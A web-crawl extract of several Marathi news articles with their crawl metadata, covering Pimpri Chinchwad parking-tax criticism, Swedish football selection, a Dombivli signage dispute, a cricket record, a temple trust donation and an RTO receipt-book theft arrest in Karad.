बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nमुंबईत मध्य रेल्वेची वाहतूक विस्कळीत\nनिवडणूक इफेक्ट, रेल्वे प्रवासी भाडेवाढ नाही\nरेल्वे खात्याला आली जाग\nलोकलमधून पडून एकाचा मृत्यू\nबिहार रेल्वे दुर्घटना :मृतांच्या नातेवाईकांना 2 लाखांची मदत\nलोकलमधला स्टंट जीवावर बेतला\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00445.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%BF%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A5%80-%E0%A4%9A%E0%A4%BF%E0%A4%82%E0%A4%9A%E0%A4%B5%E0%A4%A1%E0%A4%95%E0%A4%B0%E0%A4%BE%E0%A4%82%E0%A4%A8%E0%A4%BE-%E0%A4%85%E0%A4%9A%E0%A5%8D/", "date_download": "2018-09-25T17:57:32Z", "digest": "sha1:DKKR6FFQP6J4FTRPCX7KST2NDVIDJ6CA", "length": 10811, "nlines": 70, "source_domain": "pclive7.com", "title": "पिंपरी चिंचवडकरांना ‘अच्छे दिन’च्या झळा; पार्किंग पॉलिसीच्या नावाखाली जीझिया कर वसूली होणार – सचिन साठे | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पिंपरी चिंचवडकरांना ‘अच्छे दिन’च्या झळा; पार्किंग पॉलिसीच्या नावाखाली जीझिया कर वसूली होणार – सचिन साठे\nपिंपरी चिंचवडकरांना ‘अच्छे दिन’च्या झळा; पार्किंग पॉलिसीच्या नावाखाली जीझिया कर वसूली होणार – सचिन साठे\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेच्या स्थायी समिती बैठकीत ‘पार्किंग पॉलीसीला’ मंजूरी देण्यात आली. पालिकेत भाजपाची सत्ता येऊन चौदा महिने झाले. गेल्या वर्षी पाणीपट्टी आणि मिळकत दरात अन्यायकारक वाढ करुन सत्ताधा-यांनी गोरगरीबांवर छुपी करवाढ लादली. हे कमी म्हणून आता पार्किंग पॉलीसीच्या नावाखाली जीझिया कर वसूली वाहन धारकांकडून वसूल करण्यात येणार आहे. यातून भाजपाचे नेते आपल्या कार्यकर्त्यांना पोसण्यासाठी एक नवीन कुरण निर्माण करुन देत आहेत. अशी टिका पिंपरी चिंचवड शहर जिल्हा काँग्रेसचे अध्यक्ष सचिन साठे यांनी प्रसिध्दीस दिलेल्या पत्रकात केले आहे.\nसचिन साठे यांनी दिलेल्या पत्रकात म्हटलयं की, चारचाकी वाहनासाठी वर्षाला नऊ हजारांहून जास्त कर आकारला जाणार आहे. हि रक्कम एखाद्या सदनिकेच्या किंवा व्यापारी, वाणिज्य गाळ्याच्या वार्षिक मिळकतीपेक्षा जास्त आहे. पुणे, मुंबई महापालिकेच्या धर्तीवर हा कर आकारला जाईल असे सांगण्यात आले. परंतू या शहरातील नागरीकांना भाजपाने निवडणूकीपुर्वी दिलेले एकही आश्वासन पुर्ण करता आले नाही. यात अनाधिकृत बांधकाम प्रश्न, शास्तीकर रद्द करणे, बंद जलवाहिनीतून चोविस तास मुबलक स्वच्छ पाणी पुरवठा करणे, रोजगारात वाढ करणे, शहरातील गुन्हेगारीवर, वाहतुकीवर नियंत्रण मिळविण्यासाठी स्वतंत्र पोलिस आयुक्तालय उभारणे, कचरा व्यवस्थापन करणे, नद्यांचे संवर्धन, महिला सक्षमीकरण करणे, ज्येष्ठांना सुविधा देणे, शहरातील क्रिडांगणे विकसित करणे, शहरात वायफाय सुविधा सुरु करणे, प्राधिकरणातील घरे फ्री होल्ड करणे, सुसज्ज भाजी मंडई उभारणे, झोपडपट्ट्यांचे पुर्नवसन व आर्थिक दुर्बल घटकांसाठी आरक्षित भुखंड विकसित करणे, चाकण पर्यंत मेट्रो सुरु करणे, शहरात सरकारी अभियांत्रिकी, वैद्यकीय महाविद्यालय सुरु करणे अशी शेकडो आश्वासने भाजपाने निवडणूकीपुर्वी शहरवासीयांना दिली होती. जनतेला अच्छे दिनचे स्वप्न दाखविले. याला भुलून शहरातील मतदारांनी भाजपाला एकहाती सत्ता दिली. दिलेल्या आश्वासनांकडे सोयीस्कर दुर्लक्ष करुन उलट जनतेच्याच खिशातील पैसा लुटून भाजपाचे ठेकेदार, कार्यकर्ते पोसण्यासाठी पार्किंग पॉलीसीच्या गोंडस नावाखाली जनतेकडून जीझिया कर वसूल करण्याचे काम हे प्रशासन करीत आहेत. याला शहरातील नागरीक तीव्र विरोध करतील. हा ठराव प्रशासनाने रद्द करावा अन्यथा पिंपरी चिंचवड शहर काँग्रेस रस्त्यावर उतरुन तीव्र आंदोलन करेल. तसेच वेळ प्रसंगी ‘पार्किंग पॉलीसी’ विरोधात न्यायालयात दाद मागू असा इशारा पिंपरी चिंचवड शहर जिल्हा काँग्रेसचे अध्यक्ष सचिन साठे यांनी दिली आहे.\nTags: PCLIVE7.COMPcmc newsकाँग्रेसचिंचवडपार्किंग धोरणपिंपरीमहापालिकाशहराध्यक्षसचिन साठे\nपिंपळे सौदागरमध्ये ‘आंबा महोत्सवाचे’ आमदार लक्ष्मण जगताप यांच्या हस्ते उद्घाटन\nपिंपरीत मनसेचा आता एकच शहराध्यक्ष; सचिन चिखले यांच्यावर जबाबदारी\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00446.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%87%E0%A4%AC%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%AE%E0%A5%8B%E0%A4%B5%E0%A4%BF%E0%A4%9A%E0%A4%B6%E0%A4%BF%E0%A4%B5%E0%A4%BE%E0%A4%AF-%E0%A4%B8%E0%A5%8D%E0%A4%B5%E0%A5%80%E0%A4%A1/", "date_download": "2018-09-25T16:32:36Z", "digest": "sha1:CUMKW7BVNWWXPMC574UF4LGOO66ZPUFU", "length": 6595, "nlines": 137, "source_domain": "www.dainikprabhat.com", "title": "इब्राहिमोविचशिवाय स्वीडन खेळणार | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nविश्‍वकरंडक फुटबॉल स्पर्धेत या वेळी झ्लाटन इब्राहिमोविच या अव्वल खेळाडूची उणीव जाणवणार आहे. रशियात होणाऱ्या या स्पर्धेसाठी प्रशिक्षकांनी त्याच्या नावाचा विचारच झाला नाही, असे सांगितले. स्वीडनचे प्रशिक्षक यान अँडरसन यांनी त्याच्याशिवाय स्वीडन संघाची घोषणा केली. विश्‍वकरंडकासाठी त्यांनी निवडलेल्या संघात फारसे आश्‍चर्यकारक बदल नाहीत. इब्राहिमोविच किमान विश्‍वकरंडक स्पर्धेत खेळेल, अशी त्याच्या चाहत्यांची अपेक्षा होती. पण ती फोल ठरली आहे.\nगेल्या वर्षी नोव्हेंबर महिन्यात विश्‍वकरंडकाच्या प्ले-ऑफ लढतीत स्वीडनने इटलीवर विजय मिळविला होता. तेव्हापासून इब्राहिमोविच पुन्हा राष्ट्रीय संघात परतणार, असा अंदाज बांधला जात होता.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleगांधी जयंतीला रेल्वे होणार ‘शाकाहारी’\nNext articleभाजी चांगली न झाल्याच्या वादातून बापाकडून मुलाची हत्या\nराष्ट्रीय क्रीडा पुरस्कार 2018 : विराट कोहली आणि मीराबाई यांना खेलरत्न\nआशिया चषक 2018 : नाणेफेक जिंकून अफगाणिस्तानचा फलंदाजीचा निर्णय, भारतीय संघात 5 बदल\nसंजय दत्तच्या पत्नीने घेतली महेंद्रसिंग धोनीची भेट\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस : भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nमहिला टी-20 : भारतीय महिला संघाचा श्रीलंकेवर दणदणीत विजय\nभारत पुन्हा विजयी, पाकिस्तानचा लाजिरवाणा पराभव…\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00446.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Dombivli-Gujarati-Society-Name-in-Marathi/", "date_download": "2018-09-25T16:53:16Z", "digest": "sha1:2XLXIIVPACVKVVW6ZFYOJOHYGADQHM6L", "length": 5732, "nlines": 35, "source_domain": "www.pudhari.news", "title": " डोंबिवलीच्या गुजराती संकुलाचे नाव मराठीत | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › डोंबिवलीच्या गुजराती संकुलाचे नाव मराठीत\nडोंबिवलीच्या गुजराती संकुलाचे नाव मराठीत\nडोंबिवली पूर्वेकडील देसलेपाड्यात उभारण्यात आलेल्या नवनीतनगर या गृहसंकुलाच्या इमारतीवर गुजराती भाषेत लिहिलेले नाव अखेर मराठी भाषेत करण्यात आले आहे. फक्‍त गुजराती भाषेत असलेल्या नावामुळे होणार्‍या संभाव्य वादाचे सविस्तर वृत्त सर्वप्रथम दै. पुढारीने 6 मार्च रोजी प्रसिद्ध केले होते. या वृत्ताची संबंधित गृहसंकुलाने दखल घेऊन हीच नावे आता मराठी भाषेत टाकली आहेत.\nडोंबिवलीत मराठीसह इतर भाषिक सणसुद्धा साजरे केले जातात. मात्र दुकानावरील पाट्या असो किंवा इमारतींना दिलेली नावे मराठीमध्ये असतात. याला देसलेपाड्यातील नवनीतनगर ही सोसायटी अपवाद ठरली होती. या इमारतीला चक्क गुजराती भाषेमध्ये नाव दिल्याने सुशिक्षितांचे सांस्कृतिक शहर म्हणून ओळखल्या जाणार्‍या मराठीबहुल डोंबिवलीत मराठी-गुजराती वाद उभा ठाकण्याची चिन्हे होती.\nदै. पुढारीने 6 मार्चच्या अंकात ‘मराठी डोंबिवलीत फक्त गुजराती गृहसंकुल’ या मथळ्याखाली सविस्तर वृत्त प्रसारित केले होते. इमारतीला फक्‍त गुजराती भाषेत नाव दिल्यामुळे मनसेचे शहराध्यक्ष मनोज घरत यांनीही आंदोलनाचा इशारा दिला होता. अखेर भाषिक वाद चिघळू नये आणि कायदा, शांतता व सुव्यवस्थेचा प्रश्न निर्माण होऊ नये, यासाठी कच्छी-जैन-गुजराती समाज संस्थेने तातडीचा निर्णय घेतला. मंगळवारी दिवसभरात रंगार्‍यांकडून या इमारतीवर असलेली गुजराती भाषेतील नावे काढून त्याठिकाणी मराठी भाषेत नावे रंगवण्यात आली. परिणामी हा वाद आता मिटल्याचे तेथील रहिवाशांनी सांगितले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00446.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Sports/nidhas-tri-series-t-20-ind-vs-sl-cricket-match-k-l-rahul-hit-wicket-he-is-the-first-indian-batsmen-who-out-hit-wicket-in-t-20-format/", "date_download": "2018-09-25T17:38:11Z", "digest": "sha1:XL62OLCLU335GTOFAOADSUG4JLIQLMNS", "length": 5042, "nlines": 38, "source_domain": "www.pudhari.news", "title": " नकोसा वाटणारा विक्रम के.एल. राहुलच्या नावावर! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Sports › नकोसा वाटणारा विक्रम के.एल. राहुलच्या नावावर\nनकोसा वाटणारा विक्रम के.एल. राहुलच्या नावावर\nकोलंबो : पुढारी आनलाईन\nभारताचा कसोटीतील सलामीवीर के.एल. राहुलने टी-२० सामन्यात एक अनोखा विक्रम केला. त्याने रिषभ पंतच्या जागी संधी मिळाल्यानंतर राहुल संधीचे सोने करत काही कमाल करेल असे वाटत होते. पण, त्याने धावांचा विक्रम करण्याऐवजी बाद होण्याचा विक्रम आपल्या नावावर केला.\nनिदास चषक तिरंगी टी-२० मालिकेतील श्रीलंकेबरोबरच्या दुसऱ्या सामन्यात शिखर धवन बाद झाल्यावर राहुल तिसऱ्या क्रमांकावर फलंदाजीला आला. तो १८ धावांवर खेळत असताना फिरकीपटू जीवन मेंडीसचा चेंडू बॅकफूटवर येवून खेळण्याच्या नादात त्याचा मागील पाय यष्टींना लागला आणि बेल्स पडल्या. त्यामुळे राहुल हिट विकेट झाला. टी-२० मध्ये हिट विकेट होणारा राहुल हा भारताचा पहिलाच फलंदाज आहे. त्यामुळे टी-२०त भारताकडून हिट विकेटचा शुभारंभ करण्याचा मान के.एल. राहुलला मिळाला आहे. याचबरोबर राहुल टी-२० हिट विकेट होणारा जगातील तो १० खेळाडू ठरला आहे.\nया आधी सचिन तेंडूलकर, विराट कोहलीही वनडेत हिट विकेट झाले आहेत. सचिन २००८ मध्ये अशाप्रकारे हिट विकेट झाला होता. तर विराट कोहली २०११ ला इंग्लंड विरुध्द हिट विकेट झाला होता.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00446.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Ahamadnagar/Mumbaikar-heartfelt-thanks-to-Sarpvant-Karle-and-Rahul-Surana-presented-by-the-one-time-experiment/", "date_download": "2018-09-25T17:51:43Z", "digest": "sha1:XXJK5Q5EOTHBNSUFB472M7MLNITI7NHC", "length": 5905, "nlines": 37, "source_domain": "www.pudhari.news", "title": " नगरच्या ‘गंगुबाई’ला मुंबईकरांची दाद! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Ahamadnagar › नगरच्या ‘गंगुबाई’ला मुंबईकरांची दाद\nनगरच्या ‘गंगुबाई’ला मुंबईकरांची दाद\nअखिल भारतीय मराठी नाट्य संमेलनात येथील सेंट विवेकानंद इंग्लिश मीडियम स्कूलची विद्यार्थिनी बालकलाकार सर्वज्ञा अविनाश कराळे आणि राहुल सुराणा यांनी सादर केलेल्या एकपात्री प्रयोगास मुंबईकरांनी मनापासून दाद दिली.\nनाट्य परिषदेचेे अध्यक्ष प्रसाद कांबळी, ज्येष्ठ अभिनेते मोहन जोशी, विक्रम गोखले, अमिताभ बच्चन, भरत जाधव, मकरंद अनासपुरे, नाट्य संमेलनाच्या अध्यक्षा किर्ती शिलेदार यांच्या मिमिक्रीने उपस्थितांना खळखळून हसविले. सर्वज्ञाला जेव्हा तुझं गाव कोणतं गं असं विचारलं, तेव्हा तिने सांगितले ‘अहमदनगर’ तेव्हा अनेकांनी तू ’नगर’चं नाव मोठं करशील, अशा शब्दांत तिला आशिर्वाद दिला. प्रत्येक ‘पंचेस’ला रसिकांच्या टाळ्या घेत जवळपास 15 मिनिटे सभागृह सर्वज्ञाने दणाणून सोडले.\nनाट्य संमेलनाच्या मंचावर मान्यवरांकडून झालेलं कौतुक, सर्वोत्कृष्ट सादकरीणाबद्दल नाट्य परिषदेचे अध्यक्ष प्रसाद कांबळी यांच्याकडून सन्मानचिन्ह देऊन केलेला गौरव, ‘चला हवा येऊ द्या फेम’ अभिनेते भारत गणेशपुरे, शाहिरी गायक नंदेश उमप यांनी दिलेली शाबासकी, अनेकांनी ‘सर्वज्ञा’सोबत काढलेला सेल्फी निश्‍चितच नगरकरांच्या दृष्टीने अभिमानास्पद होते.\nसर्वज्ञा अभिनयासोबतच शास्त्रीय संगीताचे ही शिक्षण घेत आहे. सर्वज्ञा आणि राहुल यांनी आजपर्यंत अनेक स्पर्धांमधून प्रथम क्रमांकाची बक्षिसे मिळविली आहेत. या दोघांनाही मुंबईच्या रंगमंचावर सादरीकरणासाठी व्यासपीठ उपलब्ध करून देण्यासाठी नाट्य परिषदेच्या नगर शाखेचे अध्यक्ष तथा मध्यवर्तीचे सहकार्यवाह सतीश लोटके यांनी मोलाची भूमिका बजावली.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00447.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Thane-1-crore-by-SiddhiVinayak-Nyas-for-water-supply/", "date_download": "2018-09-25T17:12:52Z", "digest": "sha1:RVQQFBOMN6NJAZDXAZRQVMU63FYL4X5R", "length": 7101, "nlines": 53, "source_domain": "www.pudhari.news", "title": " जलयुक्त शिवारसाठी 'सिद्धीविनायक'तर्फे १ कोटी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › जलयुक्त शिवारसाठी 'सिद्धीविनायक'तर्फे १ कोटी\nजलयुक्त शिवारसाठी 'सिद्धीविनायक'तर्फे १ कोटी\nश्री सिद्धीविनायक गणपती मंदिर प्रभादेवी न्यासातर्फे ठाणे जिल्ह्यातील जलयुक्त शिवार अभियानासाठी १ कोटी रुपयांचा धनादेश आज जिल्हाधिकारी कार्यालयात जिल्हाधिकारी डॉ महेंद्र कल्याणकर यांच्याकडे सुपूर्द करण्यात आला. न्यासाचे अध्यक्ष आदेश बांदेकर यांनी पालकमंत्री एकनाथ शिंदे यांच्या उपस्थितीत हा धनादेश प्रदान केला.\nजलयुक्त शिवारसाठी जिल्ह्यात गेल्या दोन वर्षांत चांगले काम झाले असून या माध्यमातून जिल्ह्यातील शेतीला उभारी देण्याचे तसेच पाणी टंचाई मिटवण्याचे आमचे प्रयत्न आहेत आणि श्री सिद्धीविनायक सारख्या आणखीही काही संस्थांनी यात आपले योगदान देऊन सामाजिक बांधिलकी दाखवावी असे आवाहन पालकमंत्री एकनाथ शिंदे यांनी केले.\nजलयुक्त शिवारसाठी जिल्ह्यात ४४ गावे निवडण्यात आली असून सुमारे ४० कोटींचा आराखडा आहे. सिद्धीविनायक तर्फे देण्यात आलेली मदत महत्वाची असून दोन वर्षांपूर्वी देखील न्यासाने या कामासाठी आपले योगदान दिले होते त्याबध्दल जिल्हाधिकाऱ्यांनी आभार मानले.\n७४ कोटी ५० लाख रुपये देणार\nमुख्यमंत्री देवेंद्र फडणवीस यांनी केलेल्या आवाहनास तत्काळ प्रतिसाद म्हणून श्री सिद्धीविनायक न्यासाने तीन टप्प्यात अनुक्रमे १ कोटी, १९ लाख ११ हजार, आणि १ कोटी असे राज्यातील ३४ जिल्ह्यांना ७४ कोटी ५० लाख रुपयांचे अर्थसहाय्य करावयाचे ठरविले आहे असे आदेश बांदेकर यांनी यावेळी सांगितले.\nआज या धनादेश प्रदानप्रसंगी कोषाध्यक्ष सुमंत घैसास, विश्वस्त विशाखा राऊत, आनंद राव, महेश मुदलियार, वैभवी चव्हाण, कार्यकारी अधिकारी सुबोध आचार्य, ,संजीव पाटील, उप कार्यकारी अधिकारी रवी जाधव, निवासी उपजिल्हाधिकारी वंदना सूर्यवंशी उपस्थित होते\nरिपब्लिकन ऐक्य होण्यासाठी निकष ठरवा : आठवले\nगुजरातचे जनमत चाचण्यांचे अंदाज पटले नाहीत : उद्धव ठाकरे\nजलयुक्त शिवारसाठी 'सिद्धीविनायक'तर्फे १ कोटी\nकोल्हापूरच्या विद्यार्थींनीची विनोद तावडे यांनी घेतली भेट\nनालासोपारा येथे सिलेंडरचा स्फोट, दोन जखमी\nमुंबई, ठाणेकरांवरील टोलभार मात्र कायम\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00447.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/Two-agents-arrested-in-Karad/", "date_download": "2018-09-25T16:55:56Z", "digest": "sha1:S57WOYOTRQXHLVCSXAW6SLQYOTSWRWNZ", "length": 6735, "nlines": 36, "source_domain": "www.pudhari.news", "title": " कराडात दोन एजंट गजाआड | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › कराडात दोन एजंट गजाआड\nकराडात दोन एजंट गजाआड\nतत्कालीन रोखपालांनी आरटीओ कार्यालयात आलेली 1600 पुस्तके वाहनातून उतरून घेण्यासाठी घेतलेल्या मदतीवेळीच दोघा एजंटांनी पुस्तके चोरण्याची योजना आखली होती, अशी धक्‍कादायक माहिती समोर आली आहे. शैलेंद्र सदानंद नकाते (वय 29, मंगळवार पेठ, कराड) आणि प्रवीण प्रल्हाद साळुंखे (वय 31, रा. कोडोली, ता. कराड) अशी त्या दोघांची नावे असून त्यांना गजाआड करण्यात आले आहे. दरम्यान, याप्रकरणी आणखी काही संशयित एजंटांची नावे समोर आली आहेत.\nकराडच्या आरटीओ कार्यालयासाठी एका वाहनातून 1600 पावती पुस्तके आणण्यात आली होती. मात्र रोखपालांना ते एकट्याला उतरवणे शक्य नव्हते. त्यामुळे त्यावेळी शैलेंद्र नकाते आणि प्रविण साळुंंखे उर्फ पप्पू परीट या दोघांची मदत पुस्तके उतरवण्यासाठी घेण्यात आली होती. मात्र, त्या दोघांनी रोखपाल यांचा विश्‍वासघात करत पुस्तके लंपास करण्याची योजना आखली. तसेच ज्या रूममध्ये पुस्तके ठेवली होती, त्या रूमची खिडकी लॉक न करता कोणाचे लक्ष नसताना ती उघडून पुस्तके लंपास करण्याचा नकाते व साळुंखे याचा डाव होता.\nपुस्तके ठेऊन झाल्यानंतर तीन ते चार दिवसांनी लॉक न केलेल्या खिडकीतून नकाते याने गायब झालेली पुस्तके चोरली होती. विशेष म्हणजे यावेळी कोणी पहात नाही ना यावर लक्ष ठेवण्याची जबाबदारी साळुंंखे याने पार पाडली होती. पुस्तके चोरल्यानंतर साळुंखे व नकाते या दोघांनीही पुस्तके चोरल्याची माहिती अन्य सहकारी एजटांना दिली होती. त्यामुळे अन्य एजंट गरज भासेल, त्यावेळी चोरलेल्या पावती पुस्तकातील पावत्यांचा वापर करत होते, अशी माहिती नकाते व साळुंखे यांच्याकडे करण्यात आलेल्या चौकशीतून समोर आली आहे.\nदरम्यान, एजंट चालकांना कसा गंडा घालत होते आणि कशाप्रकारे एजंटाकडून वाहन धारकांची लूट केली जात होती याबाबतची महत्त्वपूर्ण माहितीही चौकशीतून समोर आली आहे. त्याचबरोबर या संपूर्ण प्रकरणात आरटीओ कार्यालयातील कर्मचार्‍याचा निष्काळजीपणाही समोर आला असून खासगी लोकांची मदत पुस्तक उतवरण्यासाठी घेणे योग्य होते का याबाबतची महत्त्वपूर्ण माहितीही चौकशीतून समोर आली आहे. त्याचबरोबर या संपूर्ण प्रकरणात आरटीओ कार्यालयातील कर्मचार्‍याचा निष्काळजीपणाही समोर आला असून खासगी लोकांची मदत पुस्तक उतवरण्यासाठी घेणे योग्य होते का याबाबतही आता संभ्रम निर्माण झाला आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00447.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/marathwada/maratha-kranti-morcha-agitation-reservation-waluj-damage-issue-crime-137800", "date_download": 